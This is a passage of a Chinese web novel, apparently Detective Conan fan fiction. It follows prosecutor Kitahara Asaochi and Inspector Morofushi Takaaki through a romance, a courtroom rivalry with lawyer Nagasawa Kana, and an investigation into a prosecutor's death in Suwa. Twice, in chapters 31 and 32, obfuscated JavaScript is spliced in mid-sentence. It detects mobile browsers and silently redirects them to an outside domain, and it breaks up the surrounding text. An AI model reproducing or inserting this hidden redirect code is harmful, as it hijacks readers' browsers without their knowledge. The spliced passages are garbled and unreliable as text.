北原浅落假装没有听懂的样子,一脸担忧:“那怎么办?不知道明天的票现在还有没有?要不诸伏警部你再留一晚,买后天的票回去?” 诸伏高明无奈一笑,顺着女孩的话问道:“不知道北原检事能不能顺路载我一程?” 路灯下,男人的眼眸愈发深邃。 北原浅落望着那双眸子,想到了那晚在天台看到的星星。 于是,她笑了。 “那我有什么好处呢诸伏警部?” 诸伏高明也笑了。 下一秒,北原浅落如愿以偿获得了一个吻。 * 回到长野,北原浅落重返工作岗位。一个多月下来,积压的工作有些多。 她几乎是从早忙到晚,只是,同样是加班,现在,总有一位在警察本部陪着她。 然后,在她走出检察厅的时候迎上来,和她一起回家。 在长野,她和诸伏高明的关系没有避着任何人,两人大大方方谈恋爱,为此,她没少受同僚和警察们的调侃。 她以为自己会害羞,会不好意思,事实也的确如此,但随之而来的,还有一种名为幸福快乐的感受。 这种夹杂的感受,还不赖。 只是,这种忙碌但惬意的日子没过多久,便被两件事打搅。 一件是,她的秘密被第二个人发现了。 她接到了诸伏景光的电话。 对方先是寒暄,而后提到在她家帮忙大扫除。 然后,显露出这个电话的真实目的。 “北原小姐,在杂物间的一个盒子里,我好像发现了不得了的东西。” 诸伏景光带笑的话语从听筒里传出,她甚至能想象对方面上此刻“纯良”的笑容。 另一件事发生在同一天,她刚对付完诸伏景光,就去警察本部找手上案件的警察了解情况,出来的时候遇见了长泽佳奈。 她本想避开,但对方径直向她走来,咧嘴一笑:“北原浅落检事,又见面了,幸会。” 她只得颔首回应:“你好。” “我是为了诸伏才临时接了长野的这件案子哦。”对方毫不避讳,直接挑明来意,嘴角弧度加深,“而且,很巧,负责这件案子的检察官,听说是你呢北原检事。” 她是听说手上有件案子被告人临时换了律师,但她没想到会换成长泽佳奈。 “北原检事,敢不敢和我打个赌。” “要是我输了,我绝对不会再来打扰你们,”长泽佳奈的突然靠近让北原浅落一惊,下一秒,她的话让北原浅落更是大惊失色,“要是这件案子我赢了,让我和他睡一晚。” “你疯了?!” 北原浅落向后踉跄了几步。 “怎么样?敢不敢?” 对方仍是笑着,涂了红色口红的嘴唇既亮眼,又刺眼。 29.第 29 章 北原浅落清秀的面庞冷了下来,迈步从她身边走过。 “我不会和你定这种无聊的赌约。” “怕输?所以不敢?”长泽佳奈跟着转身。 北原浅落懒得理她,继续往前走。 “看来,北原检事是想赌点别的了。”长泽佳奈唇角勾起,踩着高跟鞋跟在北原浅落身后几米处,“比如赌男人的劣根性,赌诸伏高明是不是能真的做到坐怀不乱,做到不偷腥。” 看到北原浅落停下脚步,长泽佳奈得意一笑:“看吧,你不敢赌这个对吧?” 就算对方不应下这个赌局,她也不打算放弃自己的目标,不管看起来多专一多坚贞的男人,只要她想,最后她都能如愿以偿。 北原浅落深吸一口气,并没有转头,只是稍稍侧脸,语气没有多大波动,却用尽了她所有的素质来克制。 “如果你需要,我可以给你推荐一位优秀的心理医生。” 说完,她再不做停留,直接回了检察厅。 * 诸伏高明觉得自己的女朋友最近有些奇怪。 之前,他晚上接她下班后,不管是在谁家,两人总是能你侬我侬,温存片刻;可最近,两人到家后,北原浅落只会给他一个浅浅的晚安吻,再给他一个拥抱。 倒也不是说这个吻和拥抱是在敷衍他,相反,诸伏高明能感受到,不论是吻还是拥抱,她都显得异常郑重。 于是,在这天的拥抱将要结束时,诸伏高明没有放开,反而抓住对方松了的手继续放在自己腰间。 “诸伏警部,我要去洗漱了,待会还得工作一会。”女孩的声音从怀里传来。 诸伏高明稍稍卸了点力,却并没有放开,低头对上那双隐隐现出红血丝的眼睛,到嘴的话转了弯:“浅落,你最近工作太累了。” 电梯间的灯光自上而下打在男人的脸上,阴影之下,那对墨色的瞳孔更显幽深,其中的关切不言而喻。 她忽然不敢看了。 北原浅落缩回恋人的怀抱,安抚性地拍了拍他的背:“最近事情是有点多,等我忙完这一阵就好了。” 等她把那个案子完结就好了。 她没有答应那个震碎她三观的赌约,可将要在法庭上与对方较量的事实没有改变,她不得不以更加审慎的态度对待这件案子。 耳边熟悉的心跳让她无比安心,她不自觉抱得久了些,也抱得紧了些。 本能般地,她喃喃:“诸伏警部,我爱你。” 话音刚落,耳边传来回应。 “浅落,我也爱你。” 近在耳边,又像来自渺远的天外。 可是,对诸伏高明来说,问题没有解决。 第二天吃午饭的时候,他把心中的疑问告知了两位发小,寻求建议。 大和敢助大笑不止,惹得周围吃饭的警察们纷纷侧目。 “敢酱!”上原由衣赶忙出声制止。 大和敢助放轻声音却笑意不减:“高明,是不是新鲜感消失了,她对你兴趣减弱了?嘛也能理解,毕竟不是谁都像我和由衣一样有这么深厚的感情的。” 上原由衣听了第一句就开始拉大和敢助的衣角,没想到对方还是说了出来。 诸伏高明毫不客气赏了大和敢助一个白眼,随后转向上原由衣:“上原,你怎么看?浅落最近有和你说什么吗?” “没有诶,就和你说的那样,她最近很忙,我们也很少私下聊天了。”上原由衣摇头,想了想说道,“会不会只是单纯地太忙了,她才不像之前那样了?” “不,感觉不像。”沉思片刻后,诸伏高明否决了这个结论。 “我记得上次三浦说,他这次又有个案子是和那位检事小姐对接,她最近是不是在忙这个啊?”大和敢助说着开始在餐厅里搜寻三浦健人的身影,发现后挥手喊人,“三浦,这边!” “怎么了大和?找我有事?”三浦健人端着饭走近,在诸伏高明身旁的空位坐下。 “你之前说,你有个案子交上去后又碰到了那位检事小姐?” “是是,没错,”三浦健人说着意味深长地看向诸伏高明,“该怎么说呢,不愧和你是一对啊诸伏,那股较真的劲和你一模一样,这位北原检事最近可是把我审问了好几遍呢。” “审问?” “对,从现场侦察到证据链再到作案过程,事无巨细全审问了,连我们警方没想到的点也提出来了,前两天我就是在忙这件案子的补充侦查,看样子,北原检事对这件案子非常看重,要把它办成毫无翻身可能的铁案,不过在我看来它已经是铁案了,虽然犯罪嫌疑人不肯认罪,但种种证据都指向他。” “不肯认罪?”诸伏高明有些印象了,“是之前那起杀人纵火案吗?” “是,拖了大半年,这起案子终于要开庭了。”三浦健人扒拉了两口饭,“不过北原检事这样也能理解,犯罪嫌疑人家里有钱,听说专门从东京请了律师过来,她是想准备充分一点吧。” “就算是东京的律师,她也不该这么如临大敌,她可是从东京地检过来的。”诸伏高明皱眉,“三浦,对方律师是谁?” “是个姓长泽的律师,下午会来警局一趟。” “长泽?!”诸伏高明震惊,向三浦健人求证,“是位女性律师?” “对,是个看起来攻击性很强的律师,不好惹啊,我要是北原检事,确实得好好准备。” “你认识?”凭着对好友的了解,大和敢助一眼看出。 “是。”诸伏高明面色变得严肃。 可是,她为什么不和他说呢? 是不相信他吗? * 三浦健人觉得自己中午还是说轻了,不止攻击性强,毒性也很强,或许“蛇蝎美人”说的就是眼前这类女性。 好不容易结束了会面,三浦健人刚想长舒一口气就被对方叫住了。 “三浦警部,能帮我叫一下诸伏警部吗?” 明明是请求,三浦健人却听出了不得不听从的命令语气。 “那个,我去看看他忙不忙啊。”三浦健人连忙转身走出会客室,走入办公区。 似是有感应,他看到诸伏高明从一堆卷宗里抬起头看向自己,他刚想说什么,诸伏高明就一脸了然地站起:“她想见我?” “是 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说完,诸伏高明起身向外走去,没走两步,他听到身后的女人开口。 “当年,法学部前面的小花园里,靠近大楼那条小路的第三个座椅。” 她怎么知道?! 诸伏高明脚步一滞,转身看向好整以暇笑望着自己的长泽佳奈。 “诸伏,你不想知道她的通信地址吗?” 诸伏高明眼中的警觉与冷意加深:“你拿走了她的回信。” “是,”长泽佳奈毫不避讳,爽快承认,“我比你早到了一会会。能让法学部年级第一的诸伏高明用这么原始笨拙的方法通信,我也想见识一下对方是何方神圣。” “不过,没想到,对方居然还是个乳臭未干的小女生。” “你见到她了?”诸伏高明一惊,他和她通信期间,他能猜到她每周来东大的日子和时间段,但出于尊重,一直避免两人碰面。 “只是个背影,本来想下次继续蹲点的,但是小女生在信中说她要搬家了,真是遗憾。”长泽佳奈换了个姿势,抬起右腿搭在左腿上,向后靠着椅背,打量着站得笔挺的男人,“诸伏,这是你的癖好吗?喜欢比自己小那么多的姑娘?” 诸伏高明闭眼,他当初没有收到回信的真相居然是这样,简单,又出人意料。 “既然你拿了信,就应该知道,我和那位小女孩之间没有什么。” “呵,”长泽佳奈轻笑一声,“你就不想知道她搬去哪里了吗?在那封信里,她留了地址。” 她如愿看到诸伏高明望向自己,笑得美艳:“陪我吃顿饭吧,我就告诉你。” “我拒绝。” 长泽佳奈笑容一滞:“你不想知道吗?” “时移事去,过去的事就让它过去吧。” “那如果我把它告诉北原检事呢?她应该不知道吧?如果她知道了,会怎么想呢?” “这没什么不能让她知道的。” 诸伏高明转身朝外走去。 “我可以解释。” 30.第 30 章 “怎么突然想起看莎士比亚的戏剧呢?”北原浅落关上车门,绕过车头和诸伏高明快步走向剧院。 她今天出来得晚,晚饭都是在他车上匆匆解决的。 “没事的,来得及。”诸伏高明拉住北原浅落的手,示意她放慢脚步。 “只剩下10分钟就要开场了,还是快点吧!”北原浅落拉着诸伏高明一路快走前往取票的机器。 取出两张精致的票,上面的花体字写着今天晚上的剧目《仲夏夜之梦》。 北原浅落递给诸伏高明:“这票很难买吧?” “没有,我一个月前就买了,那时候刚发售,是早鸟票。”诸伏高明带着北原浅落往戏剧厅走。 “那时候就想好了今天的计划?”北原浅落眨了眨眼,一个月前的话,她还在东京。 “对,因为我突然想起来,我们两个,好像还没有约会过。”诸伏高明特意放慢语速,柔和的目光适时回到北原浅落脸上。 不出他所料,北原浅落脸上浮现红晕。 进入厅内,两人找到座位坐好,刚坐下,整个大厅就陷入了黑暗。 下一秒,舞台亮起,照亮中央的一张床,一个形象怪异的男人走上舞台,在床上躺下,树枝状的升降台升起,将床抬高。 戏剧谢幕,二人随着人流走出剧院。 诸伏高明望了眼天幕,今夜无月,但有细碎的星光闪耀。 “去河边走走?” “好。”北原浅落应下诸伏高明的提议,“虽然这版有所改编,但总归是莎翁的喜剧,还是很不错的,诸伏警部,你说呢?” 诸伏高明笑了:“那么,我带你来看的目的就达到了,你这段时间太忙了,偶尔也该换换脑子。” 直觉告诉北原浅落对方话里有话,转过头,对方的目光证实了她的猜测。 “是因为长泽桑吗?” “你知道了?”北原浅落并不惊讶,他知道是迟早的事。 “嗯,她来警局找过我。” “好吧,我就知道,她对你心心念念。”想起那天对方的话,北原浅落和对方牵着的手松了些,想了想,没有松开,重新牵住,而后被对方反手将整只手握在掌中。 “我心匪石,不可转也。” 诸伏高明的目光深邃坚定,这是他不变的承诺。 北原浅落停下脚步,仰头与他对视,她明白他的心意,她也从未怀疑过他的爱。 因此,她没说“我知道”,而是说了“我也是”。 “但是,和她在法庭对上还是不能避免。”北原浅落轻轻叹气,主动靠上男人的胸膛。 诸伏高明搂上她的肩膀:“她说,你没答应她的打赌。” “是,我当然不能答应了。”北原浅落抬眸,心里有了怀疑,“你知道她要和我打什么赌吗?” “这个我没问,既然你拒绝了,那我也没必要知道。” 果然,要是他知道,是绝对不会提起这个“赌”的。 “你不知道最好,”北原浅落手指勾上他的领带,稍稍用力,这个赌,她都说不出口,“诸伏警部,你的这朵桃花,太毒了。” 颈部传来轻微的勒感,若是平常,他肯定早就把“袭击者”撂倒在地,但此时他却笑了,纵容着对方的“侵犯”:“是我的错。” “哼。”北原浅落松开手指,替他抚了抚衣领的褶皱,“所以呀,这场庭审,我必须慎之又慎。” 看来是她的好胜心和傲气起来了。 “浅落,没事的,我相信你的能力,而且,你们没有打赌,不要给自己太大压力。” 北原浅落重新把头靠回男人胸前,额头抵着他胸前的衣襟:“不仅仅是因为她。” “本来是为了不输的,毕竟输给谁也不想输给她。” “但是,后来我想了想,如果抱着非赢不可的心态,是不对的。” “如果是这种心态,在起诉过程中就会有失偏颇,甚至可能仅仅为了赢而对犯罪嫌疑人的事实牵强附会。” “诸伏警部,我不想这样。”北原浅落的声音轻轻的,似随风飞动的蒲公英,“我是一位检察官,我的依据只能是客观事实和法律法规,个人情感可以有,但不能影响我的判断,不然对案件的当事人不公平,即使他真的十恶不赦。” 诸伏高明静静听着,脸上的神情由最开始的安慰转为惊讶又转为欣赏和敬佩。 是他狭隘了。 他只以为她是因为长泽佳奈,因为恋爱中再正常不过的好胜心和占有欲才用这种近乎严苛的认真对待这件案子,却忽略了她的最基础底色,她是一名优秀的检察官,其次才是他的爱人。 或许他永远无法在她的心里占据第一,但吸引他的不正是这一点吗? 她的坚韧,她的理性,她的善良,她的聪颖。 她身上美好的一切,在和他相爱前就存在了。 诸伏高明不禁将怀里的人搂得更紧,刚想开口,女孩的声音又传了过来,这次带了笑。 “但是,在这件案子上,我果然还是无法剥离感情呢诸伏警部,只能尽量收集证据,不断论证。” “And yet, to say the truth, reason and love keep littlepany together nowadays.” 这是《仲夏夜之梦》中的台词。 北原浅落稍稍挣脱诸伏高明的怀抱,搂上他的脖子,将他往下带。 河面上倒映着两岸的光影,晚风拂过,吹起细细的涟漪,将那些光影揉碎,又轻轻荡开。 仲夏已经过去,现在是初秋的夜晚。 “要是我能控制住自己的情感,就不会爱上你了,所以,我原谅自己了。” 说完,她踮起脚,不是和那日一样的轻触唇角,这一次,她主动吻上了他的唇。 这个吻很轻,像一个小心翼翼的确认。 刹那间,他明白为什么最近的吻她都那么郑重了。 他们是一样的。 在她的唇即将离开的瞬间,他低头追了上去。 不论是谁的冷静自持都在这一刻土崩瓦解。 诸伏高明的吻充满了侵略性,强势又温柔,耐心却毫不留情,不断加深这个吻,掠夺她口中的每一丝空气。 初秋的晚风已经带着凉意,可北原浅落感受到的,只有彼此灼热的呼吸。 * 开庭的日期准时到来。 这的 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“可是,你们依然没在一起,用你那天的话说,就是,你还没有睡到过他,对吧?” “所以,长泽律师,我没有什么好怕的,就算我没有出现,你也不会赢。” “他可不是一般的男人啊,他是诸伏高明。” 走廊尽头出现诸伏高明的身影,北原浅落冲失神的长泽佳奈微微欠身后朝对方走去。 “恭喜,她没和你说什么吧?”诸伏高明问道,他原本是在门口等着的,见到独自出来的小野茜,才知道她又被拦住了。 “没什么,”北原浅落把包递了过去请他代劳,想了想说道,“只是女性间的友好交流。” 见她一副轻松的样子,诸伏高明没有追问,一手提着包,一手牵着她。 “今天晚上不用加班了吧?” “是,我们回家吧。” * “诸伏,这是给你的。”三浦健人将一个信封递给诸伏高明。 “这是?”诸伏高明伸手接过,信封上没有字。 三浦健人说道:“是长泽律师让我交给你的。” “长泽桑?” “是,”三浦健人点头,冲他眨眼,“诸伏,你还是先跟北原检事报备一下吧。” “什么事要和那位检事小姐报备啊?”刚从外面进来的大和敢助听到后面半句,忍不住开口询问。 “当然是诸伏这么大年纪还收到情书的事。”三浦健人调侃。 “情书?”大和敢助跟着笑出声,看向盯着信封的诸伏高明,“还不打开看看?” 面对同事们的插科打诨,诸伏高明异常平静,他知道里面是什么了,是那封早在十四年前就该收到的信。 诸伏高明从信封里取出信,信纸早已泛黄。 “怎么这么旧?”大和敢助察觉到不对劲。 “因为不是情书。”诸伏高明淡淡开口。 纸上的字迹既熟悉又陌生,就和长泽佳奈说的那样,她说自己要搬家了,上面附了一个地址:京都府京都市左京区浄土寺石桥町127番地。 31.第 31 章 正在收拾桌面准备吃饭的三浦健人余光看见北原浅落走进,随口问道:“北原检事,来找诸伏啊?” “是,”北原浅落向三浦健人点头一笑,“我们约了中午一起吃饭。” “真不巧,刚刚他们三个被临时叫去开会了,你得等会。”三浦健人往长廊上的会议室看了眼。 “是,我知道,他刚刚和我说了,让我来办公室坐会等他。” “难怪我早上瞟到诸伏在偷偷浏览附近的餐厅,谈恋爱了就是不一样啊。”三浦健人笑着起身,“他之前从不这样的。” “三浦警部是在怪我把诸伏警部带歪了?”顺着对方的话,北原浅落开玩笑道。 “不,”三浦健人把手上的一叠资料在桌上拢了拢对齐,“我是在感谢你,要不是你,这家伙一定会孤独终老的。” “什么孤独终老,三浦君,我最近应该没有得罪你吧?”伴随着脚步声,熟悉的声线由远及近传来。 北原浅落转头看去,果然,下一秒,办公室门口出现了诸伏高明的身影,以及,另外两个不约而同嘴角上扬的警察。 “听话别只听后半句,替你说好话呢。”三浦健人说着向四人挥手告别。 “开完会了?那我们也去吃饭吧?”北原浅落征求三人意见。 “好。”诸伏高明走向办公桌,将笔记本放下。 四人前往警局附近的餐厅。 “很久没一起吃饭了呢浅落。”上原由衣搅拌着拌饭,看了眼身旁的北原浅落。 “是,前段时间太忙了,现在总算是过去了。”北原浅落将饭中的胡萝卜挑出,几乎是同时,诸伏高明自觉将碗挪近,接下这些胡萝卜,而后帮她一起挑。 “对啊,你很久没来本部投喂了,大家都很想念你做的饼干和蛋糕。”大和敢助顿了顿,话锋一转,视线在两人间来回扫,“不过,最想吃的,应该还是你们两个的喜酒。” 北原浅落筷子一抖,最后几根胡萝卜丝掉入诸伏高明碗中,一抬眼,诸伏高明眼中带笑,似乎在等她的回应。 北原浅落毫无威慑力地瞪了诸伏高明一眼,转头看向大和敢助和上原由衣,前者毫不掩饰自己的“故意”,后者则是一脸姨母笑。 “你还是先操心操心自己吧大和警部,他们应该更想喝你和由衣的喜酒。” “谁说我不操心自己的,由衣已经答应我的求婚了。” “什么?!” 上原由衣笑容一滞,脸色瞬间变红:“敢酱!不是说之后再正式和他们说的吗?” “骗人的吧?”北原浅落半信半疑,瞥向二人的手指,“由衣手上都没有带戒指。” 话音刚落,她想到一种既合理又离谱的可能:“你不会空手向由衣求婚的吧?” 捕捉到大和敢助的怔愣,北原浅落恨铁不成钢,转身摇着上原由衣的手臂:“由衣,就算是大和警部,你也不能这么简单就答应了呀!” “求婚的时候居然连戒指都没准备,太敷衍了吧?” 大和敢助难得露出几分羞赧,不自在地避开了北原浅落的“蔑视”。 “那个,谁让我在和珠宝店电话沟通戒指的时候她过来了啊,本来是想戒指到了之后再求婚的。” “那也是你的问题,连求婚这种事都做不到保密,还是警察呢……” 上原由衣拉了拉北原浅落胳膊:“好了浅落,敢酱也不是故意的,他和我说了,等诹访那边的案子了结了,会再向我求婚一次的。” “这还差不多,”北原浅落想要喝水,却发现杯子已空,蓦地捕捉到上原由衣刚刚话中的地名,“诹访?” “是,刚刚开会就是在说这个,”诸伏高明将水杯拿过给她倒水,“我们明天可能要去诹访一趟。” “出什么事了吗?” “说起来,这件案子和你还有点关系呢检事小姐。”提起案子,大和敢助敛了神色。 “和我有关?”北原浅落不禁奇怪,看向诸伏高明。 诸伏高明将水杯递还,白了眼借机吓唬自己女朋友的大和敢助一眼:“没什么大关系,就是死者同样是位检察官。” “检察官?是谋杀?” “当地警署给出的说法是失足溺亡,但是,今天上午本部收到了一封匿名信,说他是被人杀害的。”诸伏高明继续解释,“课长他们讨论后认为不管是意外还是谋杀,鉴于死者检察官的身份,本部都得派人过去一趟。” “是得去调查清楚。”北原浅落点头,她不是没有听说过检察官因案子殒命的事件,她自己前段时间遇险就是个很好的例子,“奇怪,是诹访当地检察署的检察官吗?为什么检察厅一点消息也没有?” “是的,是当地检察署一位叫近江悠介的检察官。大概是因为一开始认定的是失足意外吧,所以没上报检察厅,不过课长说已经和检察厅沟通过消息了,如果真是谋杀,恐怕你们检察厅也得派人过去。”上原由衣猜测。 “近江悠介?”就像雷达被触动,北原浅落脑中浮现一张多年未见的略显稚嫩的面孔。 “是的。” 诸伏高明率先意识到不对劲:“你认识?” “额,我有个高中同学叫这个名字,大概是同名同姓的巧合吧。”北原浅落摇了摇头,继续用餐。 诸伏高明和大和敢助对视了一眼:“他确实和你一样大,今年28岁。” “那也不太可能,”北原浅落仍摇头,“他是我在京都读高中时候的同学。” 那时候,因为父母工作调动,她去京都读了两年高中,随后再次回到东京。 诸伏高明再度和大和敢助对视了一眼,这次神情更加严肃。 “浅落。” 诸伏高明目光中透出哀伤,他该怎么说呢? 见对方迟迟没有后续,北原浅落抬眼,视线相交的刹那,她的筷子落了地。 “浅落,资料上显示,他的高中也是在京都读的。” * 诸伏高明盯着面前那位检察官的资料出神。 京都,京都。 这会不会太巧了? 他在电脑搜索栏里输入资料上的高中名称,很快,这个高中的各项信息出现在网页上。 半分钟后,他起身走到办公室存放资料的柜子边。 “高明,你找什么?”瞧见诸伏高明在柜子里翻找,大和敢助出声问道。 “我记得昨天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278246|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 检察厅刚送过来一批案子的不起诉决定。” “是的,”上原由衣起身,过来看了两眼,从角落取出一沓纸,“都在这,还没来得及一个个归档。” 诸伏高明取出纸,一张张翻看。 “怎么了吗?是这些案子还有什么问题吗?” “没有,我只是想看看。” 诸伏高明快速掠过每一份不起诉决定后的检察官签字。 终于,他看到了她的名字。 * 怎么会是他呢? 说实话,北原浅落对近江悠介并没有多么深刻的印象,对她而言,对方只是她众多同学中的普通一个,是那种多年之后,如果提起他,大家都要回想好久才会有点印象的普通同学。 只是她记性好,才没有忘了他。 她明明记得,当初课上说自己理想职业的时候,他说的是医生。 怎么最后成为了一名检察官呢? 但是不管如何,她就得去问问。 北原浅落回检察厅后匆匆赶往部长办公室。 在那里,她证实了这个消息。 “部长,我要去诹访。” 部长旋着钢笔笔盖,静默片刻后才开口:“检察厅是想派一名检察官和警方一起前往诹访没错,但是北原桑,这件事,如果是意外,那确实是检方最想见到的事实;如果不是——” 部长手上的动作停下,将钢笔放在桌上,发出一声响声。 “有人敢谋杀检察官,并且伪装自杀,或者更严重点,买通当地警方判定自杀,这代表着什么你很清楚。去诹访调查,会有危险,所以,我不建议你去。” 部长放缓了语气:“北原桑,我建议你先征询一下你父母的意见。” “我爸妈?” “是,这是我以你母亲后辈的身份,给你的私人建议,我想,前辈是不愿意你以身犯险的。”上次北原浅落遇险受伤,他已经觉得很对不起他这位学姐。 北原浅落顿时回想起当初在东京申请调动的时候,那时候,她的老领导也是问她有没有问过父母的意见,当时她耍了点小聪明,等她爸妈知道的时候,调令已经下来了。 但是今天,显然不能那么干。 “部长,你就让我去吧,去世的近江检事是我同学。而且,这次是和警方的人一起,我不会有事的,我相信,如果我爸妈知道了,他们会支持我的。” 部长没有当场答应。 临近下班,她收到了去诹访调查的正式通知。 与此同时,她收到了母亲的电话。 电话中,北原理纱的语气是工作状态下的干练简洁。 挂了电话,北原理纱看向一旁坐着听她打电话的丈夫:“真的要让她过去?” “你电话都打了,还想收回吗?”北原修司搭上妻子肩膀,稍稍用力,“放心吧,那边不是还有高桥前辈在吗?” “浅落不是特搜部的人,那边的警惕性多少会放松一些,但是她又很敏锐,是最合适的人选,我想,这件案子很快就能结束了。” “行行行,随你怎么说,”北原理纱转身走向门口,“你赶紧把我的申请审批一下,三天后我要去长野。” 32.第 32 章 远处的山峰被皑皑白雪覆盖,近处的山上红叶簌簌,呼啸的风从半开的窗中灌入。 他是在这座山上遇难的,还是邻近那座? 北原浅落的视线由上及下,最终落在诹访湖上。 湖面平静无波,像一面光滑的镜子,镜子之下,暗藏波澜。 手上传来温热的触感,随之而来的,还有一片阴影。 诸伏高明一手覆上北原浅落冰凉的手,倾身替她按上车窗。 “我们会查明事件真相的。” “嗯。” 北原浅落点头,长长的睫毛轻颤,掩去眼底的情绪和想法。 “浅落,你上学的时候和这位近江检事熟吗?”透过后视镜,上原由衣瞧了眼北原浅落。 “不熟,”北原浅落摇头,从长久的思索中抽离,回想起少数与近江悠介有交集的时刻,“但是,他是个好人。” “听起来,谋杀的可能性大大提高了呢……”上原由衣喃喃。 这一点,在她接到自己母亲电话后,她就不怀疑了。只是意外的话,不会惊动她。 北原浅落视线落回诸伏高明与自己交叠的手上:“到诹访后,我想先去趟检察署,和他生前的同事谈谈。” “好,我陪你去。”诸伏高明握着她的手稍稍用力。 “行,那我和由衣去案发现场勘察。” 两人在检察署门口下车,目送另外两人驶离。 他们先去见了检察署的署长,署长是位五十不到的中年男性,染黑的头发中依稀现出几根白发,浑浊的目光中透着几分精明。 “吉田署长,我是县检察厅的北原浅落,这位是本部的诸伏高明警部,检察厅和本部发的公函,您应该收到了吧?” “是的,我收到了,快请坐。”吉田刚一拿出两个茶杯,给两位客人倒水,“近江的事,我也很难过,放心吧,我会配合你们工作的。” “谢谢。” 在吉田刚一的示意下,二人在办公室的皮质沙发上坐下。 北原浅落看向诸伏高明,对方对她轻轻点头,她将手中的茶杯放回茶几:“吉田署长,虽然检察厅收到的报告里有案件的描述,但我还是想听您介绍一下,看看有没有什么遗漏和补充。” “好的,三天前的清晨,登山客在诹访湖边的山上的山涧里发现了近江的尸体,马上报了警,警方到达现场后,经过勘察,认为近江是在登山途中出了意外,失足落水。” “是因为近江检事身上穿着登山服吗?”诸伏高明问道。 “是的,而且尸检显示,他肺中的水和山涧中的水源微生物是一致的,那里的确就是第一现场。”似乎是对同僚的意外去世感到难过,吉田刚一眼中浮现几分忧伤,但下一秒,就电光火石般隐去,重新回归了工作状态。 “登山服确认是近江检事所有吗?”诸伏高明进一步询问。 “是,登山是近江的爱好,工作之余经常会去周围的山上徒步登山,我之前和他去过一次,那时候他就穿着一样的登山服。” “吉田署长,在您眼里,近江检事,是个怎样的人呢?”冷不丁地,北原浅落问道。 “近江是一位认真负责的好检察官,北原检事你也清楚,在我们这种地方检察署,负责的都是些情节较轻的案子,很多检察官就会不把这些案子当回事。但是近江检事不一样,再小的案子他都会认真对待,如果不是这次意外,再过两年他就能从副检事升任检事了。” “所以,吉田署长,您也相信这是一场意外?”北原浅落紧紧盯着吉田刚一,试图从他脸上看出点什么。 吉田刚一脸色一变,很快又恢复正常,他从茶几上端起茶杯,徐徐饮了两口。 “这是警方给出的结论,我也宁愿相信这是出意外。” 颇为官方的回答。 北原浅落和诸伏高明对视了一眼,问道:“那出事的前一天,近江检事在工作的时候有什么异常表现吗?” 吉田刚一摇头:“他那天没来上班。” “没来上班?” “是,”吉田刚一将喝了大半的杯子放下,“准确地说,那之前的半个月,他都没来上班,他请假了。” “他有说是因为什么请假的吗?” “具体的原因没说,只说他有事,”吉田刚一提起另一个人,“山下说不定知道,他们两个关系很好,署里没人比他更知道有关近江的事了。啊山下就是山下诚,他也是位副检事,我待会让他带你们去会议室,我想,你们应该还要向署里的很多人询问,已经把会议室安排好了。” “好,那就麻烦署长了。”诸伏高明站起,在北原浅落继续开口前打断,“我们马上就去会议室,还请署长通知一下相关人员。” “这你们放心。” 吉田刚一拿起内线电话拨了个号,简单说了几句后,没过一分钟,山下诚就敲响了办公室门,根据吉田刚一在电话中交代的话把二人领往会议室。 山下诚,30岁,两年前由检察官助理升任副检事。 昨天晚上,北原浅落连夜查阅了诹访检察署和警署所有人员的资料档案,也就是昨晚,她知道了为什么近江悠介会出现在长野的地方检察署。 原因很简单,他父母是诹访人,只是之前在京都工作,近江悠介上大学后,他们就回了家乡。 可是,就算看了档案,她还是没明白,为什么他会选择成为一名检察官,高中的时候完全没看出来他有大学修读法律的迹象,修读医学的迹象倒是确实有,他的生物课程算是他难得的成绩拔尖的科目。 “这里就是我们办公的区域,”山下诚介绍,而后指着其中一张桌子,声音弱了下来,“这是近江的办公桌。” 北原浅落和诸伏高明走向那张桌子。 北原浅落接过诸伏高明递来的手套,戴上后小心翻着桌上的文件夹和资料。 诸伏高明同样小心翻着,问道:“警方应该来检查过了吧?” 山下诚点头:“是的,警方在发现尸体的那天就来署里调查过了,近江的电脑、办公桌以及存储柜,都看过了,什么也没发现。” “那这些东西的摆放还是按照原来的方式吧?”诸伏高明翻动的动作变慢。 “是,一切都是原位。” 北原浅落大致翻了一遍,冲诸伏高明摇了摇头。 没什么异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303119|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常。 “请带我们去会议室吧。” 会议室内,两人对山下诚展开询问。 从他的口中,他们进一步证实了近江悠介的登山爱好和登山服的归属。 “山下检事,你知道近江检事在生活或者工作中有什么仇人吗?或者说,他有没有因为工作得罪过什么人?” “没有,”山下诚看向诸伏高明,回答得毫不犹豫,“近江他脾气很好,工作又认真,而且我们这边的案子说实话,就算当事人会有不满,也不至于到仇人的地步,更何况近江这么多年从没接到过一起投诉。” “所以,山下检事,我是不是可以理解为,你不认为近江检事的死有人为谋杀的可能?” “是、是的,我想不出有谁会谋害近江。”山下诚垂着脑袋,半晌后喃喃,“他真的是一个很好的人。” “听说近江检事在出事前,已经请了半个月假了,你知道他是因为什么请假的吗?” “不知道,我也是看他没来才知道他请假了,刚开始我以为他是回乡下了,因为他上个月说过,要回去看爸妈一趟。但是他一直没有回来上班,我也试图联系过他,但一直没有回应,再次得到他的消息就是三天前。” “那在他请假前,他有什么不对劲的地方吗?”诸伏高明继续往下问。 “没有,他很正常,没什么异常。” “好的,那山下检事,麻烦您按照吉田署长安排的,把其他人员依次请来。” 山下诚起身走向门口,突然听见一直没有发问的北原浅落问道:“山下检事,请问您知道近江检事他为什么要当检察官吗?” “为什么要当检察官?” 